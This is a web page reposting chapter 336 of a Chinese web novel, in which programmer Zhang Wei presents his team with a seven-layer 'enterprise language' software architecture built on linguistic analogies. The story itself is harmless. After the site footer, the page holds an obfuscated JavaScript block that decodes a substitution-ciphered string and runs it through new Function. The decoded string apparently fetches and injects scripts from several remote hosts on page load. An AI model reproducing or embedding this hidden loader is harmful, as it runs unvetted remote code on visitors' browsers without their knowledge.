- 首页
- 都市
- 凡人码农加SAP加XR征服世界
- 第336章 语言的宝塔(第1页)
第336章 语言的宝塔(第1页)
章节目录保存书签
上午八点半,一号会议室。晨光穿过巨大的落地窗,在光洁的会议桌上投下斑驳的光影。张伟独自坐在桌前,面前的白板一片空白,只有他刚刚写下的几个字:语言、文字,是知识的容器。就像维特根斯坦,奥地利英国哲学家的那句,‘语言的边界,就是认知的边界’一样!张伟指尖还残留着马克笔的触感,目光却已穿透玻璃,望向远处深圳清晨的天际线。山顶的顿悟仍在血液里流淌——那种将语言与文明进化并行的宏大视野,此刻在他心中愈发清晰。“人类有自然语言,所以能跨越时空、穿越空间传递智慧,构建文明。”张伟在心中默念,“企业若想真正进化成智能体,就必须拥有自己的语言承载物,来沉淀经营知识,传承管理智慧。”这既是精度可控至微米、细胞级别的知识工程,也是能够承载全球企业文明进化的宏伟框架。它要求极致的精度,也呼唤无边的雄阔——这是一个全新文明体奠基级别的磅礴技术工程。张伟拿起笔,在白板上画出一条水平的时间轴,一条垂直的空间轴,然后在交汇处开始勾勒了一个七层的塔形结构。线条简洁却充满力量,如同是建造数字文明的脚手架。九点整,团队成员陆续进场。产品部的小周第一个推门而入,手里抱着笔记本,脸上是惯常的认真神色,他看到白板上的坐标系和未完成的塔形图,立刻找了最前排的位置坐下。“张总今天气色不错啊。“小温跟着进来,脸上写满期待,作为社交sr的产品经理,她对张伟即将分享的内容最为关切。研发老李晃了进来,瞥了眼白板:“今天又要讲啥?那套‘企业智能体语言’还没讲完?”他在老陈旁边坐下,后者已经戴上耳机,眼睛盯着手机屏幕上的代码,对周围的一切漠不关心。小吴拎着一个厚厚的文件夹匆匆赶到,里面是他连夜整理的专利申请草案,看到白板上的草图,习惯性的掏出手机拍照存档。最后进来的是小杨,头上还戴着那副特制的ai+xr眼镜。“伟哥,”他兴奋地说,“下午能不能让我用这个模拟一下您的理论结构?“张伟微笑着扫视全场,目光在每个人脸上停留片刻。“先别急,”他的声音平静而有力,“我们今天上午,只做一件事——把理论架构,讲清楚,找准方向、目标。”张伟站起身,走到白板前,他拿起黑色马克笔,在刚才的草图旁,清晰地画出七条横线,如同建造一座通往未来的阶梯。“接下来我要讲的是,企业语言系统总体架构的设计理论!”张伟看向大家铿锵有力的宣布今天会议的主题!话不多说,张伟开启了理论架构的布道!“这,”张伟的笔尖重重地点在第一条线上,“就是企业语言成型后的七层系统架构体系。”张伟手指着阶梯的第一层,也是这个数字宝塔最大的一层说道,“第一层:功能模块层。”张伟写下这五个字,环视众人,“说的粗放一点,这一层存放的是企业语言的‘行动词’,是动作的最小颗粒。就像自然语言里的‘走’、‘跳’、‘吃’,在企业语言里,就是‘保存’、‘审批’、‘转发’、各种具体的逻辑处理小单元,我们也可以把它叫做函数层,也是我sap的第6层结丹——bapi函数层。没有它们,企业语言系统无法行动;数据也无法流动、运作。当然这一层,也是最直观的程序代码层。”小周飞快地记录着,不时点头。“第二层:业务建模层。”张伟向上移动,“这是语言的‘名词体系’,企业语言的‘业态词’和‘实体词’在这一层被完成业务建模。‘采购订单’、‘发货单’、‘物料主数据’——这些词汇,是我们定义企业世界的基本方式,也是构建企业语言的单词层。“张伟顿了顿,“从语言学角度看,这些叫着‘上位词’,是业务概念的高度抽象建模的集合层。”“伟哥,什么叫上位词?”小温适时的开口。“‘水果’这个词,从语言学的角度叫做上位词,苹果、梨子是水果的下位词;从逻辑的角度,就是对一个大类定义一个统一的名称。”张伟解释道。张伟看到小温,和团队成员,飞快的记录着,于是没有往下再拆解这套理论的架构。而是展开向更深的下位词拓展开来,“这是语言的‘修辞与细化’。就像‘水果’下面有‘苹果’、‘梨子’,‘采购订单’下面也有‘五金件采购订单’、‘服装采购订单’等等,他们是各不相同的。这是企业语言的下位词,是概念的具体化。而向‘采购订单’这样的上位词很多,当然每个上位词对应的企业语言下位词,一样很多。”这部分对于这帮计算机专业的码农,确实有点超纲了,张伟也捎着停顿,等了等他们的吸收节奏,为了辅助他们消化,张伟顺势举了例子。,!“这也是语言学,用在企业智能体上最精妙的表达和系统实现逻辑。比如同样叫采购订单,服装采购订单需要标注‘网格’即大码、中码、小码,而五金的采购订单就不用。这就像在表述一个人死亡时,不同的业务场景需要使用不同的词语,比如过世、牺牲、飞升、嗝屁一个道理。企业业务千奇百怪、千变万化,只有使用语言的特性逻辑才能进行如此精妙的诠释和具象表达。”这时,老陈抬起头,眉头微皱:“伟哥,这听起来挺哲学的……可咱这是写软件,不是搞语言学啊。“会议室里一阵轻微的骚动。张伟没有直接反驳,而是轻轻笑了笑,放下马克笔。“老陈,你记不记得我们以前写代码,一个系统要反复重构多少次?“老陈一愣:“那当然,需求一变就得重构。““为什么?”张伟追问,目光扫过全场,“因为我们的系统架构理论体系不清晰,整体架构设计完全基于眼前的问题,典型的头痛医头脚痛医脚。也就是我之前给你们讲的tob产品分为4级的划分,我们现在要构建的产品是第四级的产品。想要建造大厦,一定要理论先行,迪拜大厦,一定不是一帮泥瓦匠构建的,一定是全球最顶尖的建筑理论大师设计、构建的。自然语言的混乱会带来语义的误解,系统架构的混乱——会带来整个工程的坍塌。在空气动力学理论没出来以前,就是无法让铁疙瘩飞上天。”张伟走到老陈面前,声音沉稳:“我们正在构建的,是未来要适应全球企业、所有业务形态的超宏大系统架构。没有深厚的理论基础来支撑,完全不足以承载如此庞大的工程。”会议室陷入一片静默。老陈张了张嘴,惭愧的点了点头。张伟回到白板前,继续向上攀登,这感觉就像是修仙小说里,一层一层闯荡试练塔。“第三层:业务方案层。”张伟的笔继续向更高层级的宝塔进发,“这一层,就像我们自然语言的,成语、名言金句。把多个企业语言的单词,组成一个经典的解决方案,一段放之四海而皆准的通用流程、句子。”小温,此时立马反应了过来,“伟哥,你这个比喻我懂了,就像企业管理包装材料采购时,每家的逻辑,基本都是按照材质+平方米的采购业务流程,在管理产品生产时都需要用料、工、费计算产品成本的业务逻辑,在报销时都需要固定的格式和填报内容流程。”“不错,小温,这一层你理解的非常对!”张伟立马给予及时的肯定:“但是我们这一层的精髓,是沉淀出各种品类、各种方案,在各个行业的经典流程,甚至是一整个方案,现在的说法叫着‘最佳业务实践’。换成企业语言,就是用企业语言写的一句话,或者一个完整的自然段。当我们在这一层,收集、沉淀足够多时,在构建第四层时,就水到渠成了。换成自然语言的说法,‘熟读唐诗三百首不会作诗也会吟’!”张伟没有过多停留。“第四层——文体结构层。”他的笔迹流畅而自信,“每家企业的系统,erp、s、sr、cr……其实就是不同的企业语言‘文体’。它们像自然语言的‘议论文’、‘小说’、‘书信体’,只是表达的主题和目的不同。我们将这些文体用企业语言的‘上位词或下位词’定义好各种文体模板,企业使用时,就不用再去全新构建框架了,直接复制这个模板,在此模板基础上写出自己运营的具体‘文章’。”张伟捎着停顿,等了等大家吸收这套理论的时间,“类比自然语言,就像wps‘稻壳’商城里,有各种各样文体的模板,比如工作总结、年度报告,咱们只需要按照自己的需求,找到匹配自己需求的模板,复制下来,填入自己的内容即可。”小温的眼睛亮了起来,她似乎捕捉到了什么。张伟的冲塔来到了新的层级“第五层——企业项目层。”张伟的笔也抵达了新的高度,“每个项目,就是一篇具体的,完整的,某种文体的‘企业文章’。海尔erp项目、华为sr项目——这些不是冷冰冰的交付物,而是用企业语言编写的‘企业文明的具体篇章’。这就像自然语言用5277个汉字,能写出《红楼梦》也能写出《母猪产后护理》,当然也能写出《金瓶梅》。相同的企业语言的单词,能写出海尔的erp项目,也能写出麦当劳的sr项目,还能写出夏国能量的cr项目。只是这些单词之间的排列,标点符合不同罢了。”张伟停顿了一下,突然想到一个在马尔代夫想透的一个问题:“当然企业语言,是一种形式语言,他们的语义和自然语言有些许的不同,自然语言是:语义=语义逻辑=数据。,!而企业语言这种形式语言是:语义=语义逻辑+数据。因此即使两家企业使用相同的,一模一样的企业语言构建的系统、文章,但是他们的语义是绝不相同的。因为他们的数据不相同,那么最后的语义也绝不相同。”张伟还顺带开了一个玩笑:“企业语言写的文章,知网里查排重,就没有意义了,翟天临也就不会塌房了。”此时只见小温这个产品经理接话,“哈哈,也就是说”小温仿佛被张伟理论之锤,敲开了封印,“我们公司未来给企业实施的每一个项目,不对是‘书写’的每个项目,其实就是在给企业这个智能体在写一篇具体的文章?“张伟赞许地点头:“是的!我们的客户在用我们构建的文体、文字,书写属于他们自己的文章、历史、知识,因此每个企业的文章含义肯定是不相同的。就像我们刷抖音千人千面,我们最终给客户呈现的项目也将是千企千面的。而这些文章、历史、知识最终也将会沉淀在我们构建的系统上。就像人类用自然语言在番茄app上写小说,最终所有作者的小说都沉淀在番茄的服务器里。番茄上,就会有各种各样的小说,甚至对于某一个人来说,就是无穷无尽的小说。因为你永远看不完那么多小说,就是无穷尽的。”这个比喻让所有人都陷入了思考。他们平日的工作,突然被赋予了一种文明传承的意味、使命感。张伟的笔继续向上,直冲向最后的两层塔楼。“第六层:静态数据层。主数据、物料、组织、用户——这是企业语言的‘名词库’,是所有故事发生的具体背景设定和定义,也是企业语言的静态数据。”“第七层:动态数据层。交易、金额数量、业务数据——这是语言的‘数据记录’,是故事展开的具体情节。也就是语义=语义逻辑+数据,这个公式里的‘数据’,让‘语义’能被真实的定位、具象化。”张伟就这样通关了七层理论设计架构的境界。七层架构完整地呈现在白板上,在晨光中宛如一座通往未来的金字塔。但张伟还没有结束。他之前在塔形图的下方,画出的那两条线,一条水平的空间轴和一条垂直的时间轴。“时间轴:”张伟沿着垂直向上的线说道,“企业语言构建的知识、内容积累,在时间上会持续的沉淀、生长。就像我们此刻还能翻看十年前、五年前在番茄上写的小说。在这套架构上,我们依然可以翻看15年前海尔的erp是如何运作的。唯一不同的可能存在权限、数据安全的限制,但是系统架构,技术体系,本身是可以完成这样的跨越时间长河的信息、知识传承和贡献的。”“空间轴:”张伟的笔沿着水平的线说道,“各个企业、合作伙伴同时在平台上,也将可以并行沉淀基于企业语言的解决方案。就像此时此刻,这这个时空横截面上,作家5ttu、三九、杀虫队无数作者正在番茄小说app里同时创作小说。”张伟转身面向团队,声音里带着一种近乎预言的确信:“只是,番茄沉淀的是自然语言,只有‘小说’这一种文体在时间与空间上的沉淀、积累。而我们即将建造的平台要沉淀的是企业语言的,所有文体,所有企业写的文章,在时间轴与空间轴上的全量积累和沉淀。”“当语言构建的成果,能够沿着时间轴沉淀、在空间轴扩展,我们就获得了——”张伟停顿了一下,让每个字都重重落下,“‘企业文明的全量知识和记忆’。”张伟说完这话,所有人的表情有那么一瞬间的呆滞,会议室里也鸦雀无声,落针可闻。阳光正好打在白板上,七层结构在光线下熠熠生辉,投出的阴影仿佛真的变成了一座文明的丰碑。这份静默被专利小吴打破。他猛地站起来,手中的专利申请草案被捏得微微发抖。“伟哥,这个七层体系太逆天了太完整了!这可以直接申请体系专利!而且不是一个专利,是一个专利群的母专利!企业语言七层架构方法论,光是这个名字就足够震撼,足够霸气!伟哥啊,自从你度假回来,把我震撼的够呛啊!”老陈终于摘下了耳机,眼神里不再是漠不关心,而是一种技术人特有的激动和兴奋:“我明白了。这不是我们传统写系统的方式,这是我们在重塑tob系统的逻辑体系。如果我们真的能把这个架构实现……”小杨眯着眼睛,手指在空中比划着:“下午我能不能用vr把这七层塔建出来?我想让大家在虚拟空间里‘走进去’,亲手触摸每一层的结构。这比平面的白板要直观得多!“张伟点头,目光中流露出赞许:“下午的主题,就是这个——我们要让思想、理论落地、可视化、变成实际的系统。”团队的每个成员都从这套架构中看到了不同的可能性。这座理论之塔不再是张伟一个人的构想,它正在成为整个团队、整个公司共同看见的未来。张伟收起马克笔,白板上的七层结构在晨光中显得格外清晰,他走到最顶层旁边,郑重地写下十个字:“语言即系统,系统即文明”!然后他缓缓转身,目光扫过每一张充满期待的脸。“上午,我们讲文明的骨架;”张伟的声音平静而坚定,带着开启新篇章的庄严,“下午,我们建它的血肉。”镜头最后定格在白板上。那座七层架构在阳光的照射下仿佛能投出长长的阴影,仿佛不只是画在平面上的线条,而是一座已经拔地而起的文明之塔。那是企业语言的理论基石,也是egb-企业全球脑,从思想走向现实的开端。而在场的每一个人都知道,真正的工作,现在才刚刚开始。:()凡人码农加sap加xr征服世界
上一章章节目录下一章
温馨提示:按 ←键 返回上一页, 按 →键 进入下一页,不需要加入书签,进入阅读记录方便您下次继续阅读。
凡人码农加SAP加XR征服世界所有内容均来自互联网,126文学网只为原作者作家5TTPWu的小说进行宣传。欢迎各位书友支持作家5TTPWu并收藏凡人码农加SAP加XR征服世界最新章节。
!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();